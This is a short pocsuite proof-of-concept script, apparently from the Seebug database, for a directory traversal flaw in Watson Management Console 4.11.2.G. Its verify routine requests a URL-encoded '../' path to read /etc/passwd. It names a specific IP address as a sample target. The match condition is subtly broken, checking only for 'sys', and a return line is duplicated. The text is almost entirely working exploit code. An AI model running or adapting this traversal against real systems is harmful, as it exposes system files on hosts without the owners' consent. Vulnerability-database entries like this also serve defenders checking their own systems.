Watson Management Console 4.11.2.G Directory Traversal Vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '77733'  # ssvid
    version = '1.0'
    author = ['GX001']
    vulDate = ''
    createDate = '2016-03-25'
    updateDate = '2016-03-25'
    references = ['http://www.seebug.org/vuldb/ssvid-77733']
    name = 'Watson Management Console 4.11.2.G Directory Traversal Vulnerability'
    appPowerLink = ''
    appName = 'Watson'
    appVersion = '4.11.2.G'
    vulType = 'Other'
    desc = '''
        Waston 4.11.2.G 控制台管理存在任意系统文件遍历
    '''
    samples = ['http://182.71.229.81/']

    def _attack(self):
        result = {}
        #Write your code here

        return self.parse_output(result)

    def _verify(self):
        result = {}
        posturl = self.url + "/.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
        r = req.get(posturl)
        text = r.content
        if "root:" and "sys" in text:
                result['VerifyInfo']={}
                result['VerifyInfo']['URL']=self.url
        return self.parse_output(result)

        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)